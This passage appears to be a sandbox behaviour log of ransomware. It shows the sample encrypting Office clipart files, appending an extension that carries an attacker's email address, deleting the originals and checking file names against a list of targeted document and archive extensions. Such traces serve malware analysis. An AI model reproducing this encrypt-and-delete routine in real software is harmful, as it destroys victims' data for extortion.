	[0175.760] GetLastError () returned 0x0
	[0175.760] ReadFile (in: hFile=0x580, lpBuffer=0x3ff2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesRead=0x360fecc*=0x4030, lpOverlapped=0x0) returned 1
	[0175.781] WriteFile (in: hFile=0x550, lpBuffer=0x3ff2020*, nNumberOfBytesToWrite=0x4040, lpNumberOfBytesWritten=0x360fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesWritten=0x360fc94*=0x4040, lpOverlapped=0x0) returned 1
	[0175.783] ReadFile (in: hFile=0x580, lpBuffer=0x3ff2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesRead=0x360fecc*=0x0, lpOverlapped=0x0) returned 1
	[0175.783] WriteFile (in: hFile=0x550, lpBuffer=0x3ff2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x360fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesWritten=0x360fc94*=0xec, lpOverlapped=0x0) returned 1
	[0175.783] SetEndOfFile (hFile=0x550) returned 1
	[0175.783] CloseHandle (hObject=0x550) returned 1
	[0175.783] SetFilePointerEx (in: hFile=0x580, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec0 | out: lpNewFilePointer=0x0) returned 1
	[0175.783] SetEndOfFile (hFile=0x580) returned 1
	[0175.786] CloseHandle (hObject=0x580) returned 1
	[0175.787] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152556.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0175.787] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152556.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152556.wmf")) returned 1
	[0175.788] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152556.WMF") returned 68
	[0175.788] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152556.WMF") returned 68
	[0175.788] lstrlenW (lpString=".doc") returned 4
	[0175.788] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0175.788] lstrlenW (lpString=".docx") returned 5
	[0175.788] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0175.788] lstrlenW (lpString=".pdf") returned 4
	[0175.788] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0175.788] lstrlenW (lpString=".xls") returned 4
	[0175.788] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0175.788] lstrlenW (lpString=".xlsx") returned 5
	[0175.788] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0175.788] lstrlenW (lpString=".ppt") returned 4
	[0175.788] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0175.788] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152556.WMF") returned 68
	[0175.788] lstrlenW (lpString=".zip") returned 4
	[0175.788] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0175.788] lstrlenW (lpString=".rar") returned 4
	[0175.788] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0175.788] lstrlenW (lpString=".bz2") returned 4
	[0175.788] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0175.789] lstrlenW (lpString=".7z") returned 3
	[0175.789] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0175.789] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152556.WMF") returned 68
	[0175.789] lstrlenW (lpString=".dbf") returned 4
	[0175.789] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0175.789] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152556.WMF") returned 68
	[0175.789] lstrlenW (lpString=".1cd") returned 4
	[0175.789] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0175.789] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152556.WMF") returned 68
	[0175.789] lstrlenW (lpString=".jpg") returned 4
	[0175.789] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0175.789] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152556.WMF") returned 68
	[0175.789] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152556.WMF") returned 68
	[0175.789] lstrlenW (lpString=".doc") returned 4
	[0175.789] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0175.789] lstrlenW (lpString=".docx") returned 5
	[0175.789] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0175.789] lstrlenW (lpString=".pdf") returned 4
	[0175.789] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0175.789] lstrlenW (lpString=".xls") returned 4
	[0175.789] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0175.789] lstrlenW (lpString=".xlsx") returned 5
	[0175.789] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0175.789] lstrlenW (lpString=".ppt") returned 4
	[0175.789] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0175.789] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152556.WMF") returned 68
	[0175.789] lstrlenW (lpString=".zip") returned 4
	[0175.789] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0175.789] lstrlenW (lpString=".rar") returned 4
	[0175.789] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0175.789] lstrlenW (lpString=".bz2") returned 4
	[0175.789] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0175.789] lstrlenW (lpString=".7z") returned 3
	[0175.790] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0175.790] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152556.WMF") returned 68
	[0175.790] lstrlenW (lpString=".dbf") returned 4
	[0175.790] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0175.790] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152556.WMF") returned 68
	[0175.790] lstrlenW (lpString=".1cd") returned 4
	[0175.790] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0175.790] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152556.WMF") returned 68
	[0175.790] lstrlenW (lpString=".jpg") returned 4
	[0175.790] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0175.790] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0175.790] lstrlenW (lpString="J0152602.WMF") returned 12
	[0175.790] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152602.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152602.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530
	[0175.931] GetFileSizeEx (in: hFile=0x530, lpFileSize=0x360ff14 | out: lpFileSize=0x360ff14*=6276) returned 1
	[0175.932] CloseHandle (hObject=0x530) returned 1
	[0175.932] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152602.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152602.wmf")) returned 0x220
	[0176.040] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152602.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152602.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0176.145] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152602.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152602.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528
	[0176.145] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec0 | out: lpNewFilePointer=0x0) returned 1
	[0176.145] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec0 | out: lpNewFilePointer=0x0) returned 1
	[0176.145] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152602.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152602.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594
	[0176.146] GetLastError () returned 0x0
	[0176.146] ReadFile (in: hFile=0x528, lpBuffer=0x3ff2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesRead=0x360fecc*=0x1884, lpOverlapped=0x0) returned 1
	[0176.158] WriteFile (in: hFile=0x594, lpBuffer=0x3ff2020*, nNumberOfBytesToWrite=0x1890, lpNumberOfBytesWritten=0x360fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesWritten=0x360fc94*=0x1890, lpOverlapped=0x0) returned 1
	[0176.159] ReadFile (in: hFile=0x528, lpBuffer=0x3ff2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesRead=0x360fecc*=0x0, lpOverlapped=0x0) returned 1
	[0176.159] WriteFile (in: hFile=0x594, lpBuffer=0x3ff2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x360fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesWritten=0x360fc94*=0xec, lpOverlapped=0x0) returned 1
	[0176.160] SetEndOfFile (hFile=0x594) returned 1
	[0176.160] CloseHandle (hObject=0x594) returned 1
	[0176.160] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec0 | out: lpNewFilePointer=0x0) returned 1
	[0176.160] SetEndOfFile (hFile=0x528) returned 1
	[0176.179] CloseHandle (hObject=0x528) returned 1
	[0176.180] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152602.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0176.189] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152602.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152602.wmf")) returned 1
	[0176.311] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152602.WMF") returned 68
	[0176.311] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152602.WMF") returned 68
	[0176.311] lstrlenW (lpString=".doc") returned 4
	[0176.312] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0176.312] lstrlenW (lpString=".docx") returned 5
	[0176.312] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0176.312] lstrlenW (lpString=".pdf") returned 4
	[0176.312] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0176.312] lstrlenW (lpString=".xls") returned 4
	[0176.312] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0176.312] lstrlenW (lpString=".xlsx") returned 5
	[0176.312] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0176.312] lstrlenW (lpString=".ppt") returned 4
	[0176.312] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0176.312] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152602.WMF") returned 68
	[0176.312] lstrlenW (lpString=".zip") returned 4
	[0176.312] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0176.312] lstrlenW (lpString=".rar") returned 4
	[0176.312] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0176.312] lstrlenW (lpString=".bz2") returned 4
	[0176.312] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0176.312] lstrlenW (lpString=".7z") returned 3
	[0176.312] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0176.312] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152602.WMF") returned 68
	[0176.312] lstrlenW (lpString=".dbf") returned 4
	[0176.312] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0176.312] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152602.WMF") returned 68
	[0176.312] lstrlenW (lpString=".1cd") returned 4
	[0176.312] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0176.312] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152602.WMF") returned 68
	[0176.312] lstrlenW (lpString=".jpg") returned 4
	[0176.312] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0176.312] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152602.WMF") returned 68
	[0176.312] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152602.WMF") returned 68
	[0176.313] lstrlenW (lpString=".doc") returned 4
	[0176.313] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0176.313] lstrlenW (lpString=".docx") returned 5
	[0176.313] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0176.313] lstrlenW (lpString=".pdf") returned 4
	[0176.313] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0176.313] lstrlenW (lpString=".xls") returned 4
	[0176.313] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0176.313] lstrlenW (lpString=".xlsx") returned 5
	[0176.313] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0176.313] lstrlenW (lpString=".ppt") returned 4
	[0176.313] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0176.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152602.WMF") returned 68
	[0176.313] lstrlenW (lpString=".zip") returned 4
	[0176.313] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0176.313] lstrlenW (lpString=".rar") returned 4
	[0176.313] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0176.313] lstrlenW (lpString=".bz2") returned 4
	[0176.313] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0176.313] lstrlenW (lpString=".7z") returned 3
	[0176.313] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0176.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152602.WMF") returned 68
	[0176.313] lstrlenW (lpString=".dbf") returned 4
	[0176.313] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0176.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152602.WMF") returned 68
	[0176.313] lstrlenW (lpString=".1cd") returned 4
	[0176.313] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0176.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152602.WMF") returned 68
	[0176.313] lstrlenW (lpString=".jpg") returned 4
	[0176.313] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0176.314] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0176.314] lstrlenW (lpString="J0152622.WMF") returned 12
	[0176.314] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152622.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152622.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x570
	[0176.480] GetFileSizeEx (in: hFile=0x570, lpFileSize=0x360ff14 | out: lpFileSize=0x360ff14*=9604) returned 1
	[0176.480] CloseHandle (hObject=0x570) returned 1
	[0176.480] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152622.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152622.wmf")) returned 0x220
	[0176.574] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152622.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152622.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0176.606] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152622.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152622.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530
	[0176.795] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec0 | out: lpNewFilePointer=0x0) returned 1
	[0176.795] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec0 | out: lpNewFilePointer=0x0) returned 1
	[0176.795] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152622.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152622.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x58c
	[0176.810] GetLastError () returned 0x0
	[0176.810] ReadFile (in: hFile=0x530, lpBuffer=0x3ff2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesRead=0x360fecc*=0x2584, lpOverlapped=0x0) returned 1
	[0176.812] WriteFile (in: hFile=0x58c, lpBuffer=0x3ff2020*, nNumberOfBytesToWrite=0x2590, lpNumberOfBytesWritten=0x360fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesWritten=0x360fc94*=0x2590, lpOverlapped=0x0) returned 1
	[0176.813] ReadFile (in: hFile=0x530, lpBuffer=0x3ff2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesRead=0x360fecc*=0x0, lpOverlapped=0x0) returned 1
	[0176.813] WriteFile (in: hFile=0x58c, lpBuffer=0x3ff2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x360fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesWritten=0x360fc94*=0xec, lpOverlapped=0x0) returned 1
	[0176.813] SetEndOfFile (hFile=0x58c) returned 1
	[0176.813] CloseHandle (hObject=0x58c) returned 1
	[0176.813] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec0 | out: lpNewFilePointer=0x0) returned 1
	[0176.813] SetEndOfFile (hFile=0x530) returned 1
	[0176.817] CloseHandle (hObject=0x530) returned 1
	[0176.817] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152622.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0176.817] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152622.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152622.wmf")) returned 1
	[0176.818] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152622.WMF") returned 68
	[0176.818] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152622.WMF") returned 68
	[0176.818] lstrlenW (lpString=".doc") returned 4
	[0176.818] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0176.818] lstrlenW (lpString=".docx") returned 5
	[0176.818] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0176.818] lstrlenW (lpString=".pdf") returned 4
	[0176.818] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0176.818] lstrlenW (lpString=".xls") returned 4
	[0176.818] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0176.818] lstrlenW (lpString=".xlsx") returned 5
	[0176.818] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0176.818] lstrlenW (lpString=".ppt") returned 4
	[0176.818] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0176.818] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152622.WMF") returned 68
	[0176.818] lstrlenW (lpString=".zip") returned 4
	[0176.818] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0176.818] lstrlenW (lpString=".rar") returned 4
	[0176.819] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0176.819] lstrlenW (lpString=".bz2") returned 4
	[0176.819] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0176.819] lstrlenW (lpString=".7z") returned 3
	[0176.819] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0176.819] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152622.WMF") returned 68
	[0176.819] lstrlenW (lpString=".dbf") returned 4
	[0176.819] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0176.819] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152622.WMF") returned 68
	[0176.819] lstrlenW (lpString=".1cd") returned 4
	[0176.819] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0176.819] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152622.WMF") returned 68
	[0176.819] lstrlenW (lpString=".jpg") returned 4
	[0176.819] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0176.819] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152622.WMF") returned 68
	[0176.819] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152622.WMF") returned 68
	[0176.819] lstrlenW (lpString=".doc") returned 4
	[0176.819] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0176.819] lstrlenW (lpString=".docx") returned 5
	[0176.819] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0176.819] lstrlenW (lpString=".pdf") returned 4
	[0176.819] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0176.819] lstrlenW (lpString=".xls") returned 4
	[0176.819] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0176.819] lstrlenW (lpString=".xlsx") returned 5
	[0176.819] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0176.819] lstrlenW (lpString=".ppt") returned 4
	[0176.819] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0176.820] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152622.WMF") returned 68
	[0176.820] lstrlenW (lpString=".zip") returned 4
	[0176.820] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0176.820] lstrlenW (lpString=".rar") returned 4
	[0176.820] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0176.820] lstrlenW (lpString=".bz2") returned 4
	[0176.820] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0176.820] lstrlenW (lpString=".7z") returned 3
	[0176.820] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0176.820] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152622.WMF") returned 68
	[0176.820] lstrlenW (lpString=".dbf") returned 4
	[0176.820] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0176.820] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152622.WMF") returned 68
	[0176.820] lstrlenW (lpString=".1cd") returned 4
	[0176.820] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0176.820] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152622.WMF") returned 68
	[0176.820] lstrlenW (lpString=".jpg") returned 4
	[0176.820] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0176.820] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0176.820] lstrlenW (lpString="J0152892.WMF") returned 12
	[0176.820] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152892.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152892.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530
	[0176.821] GetFileSizeEx (in: hFile=0x530, lpFileSize=0x360ff14 | out: lpFileSize=0x360ff14*=10668) returned 1
	[0176.821] CloseHandle (hObject=0x530) returned 1
	[0176.821] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152892.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152892.wmf")) returned 0x220
	[0176.822] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152892.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152892.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0176.822] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152892.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152892.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530
	[0176.822] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec0 | out: lpNewFilePointer=0x0) returned 1
	[0176.822] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec0 | out: lpNewFilePointer=0x0) returned 1
	[0176.822] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152892.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152892.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x58c
	[0176.823] GetLastError () returned 0x0
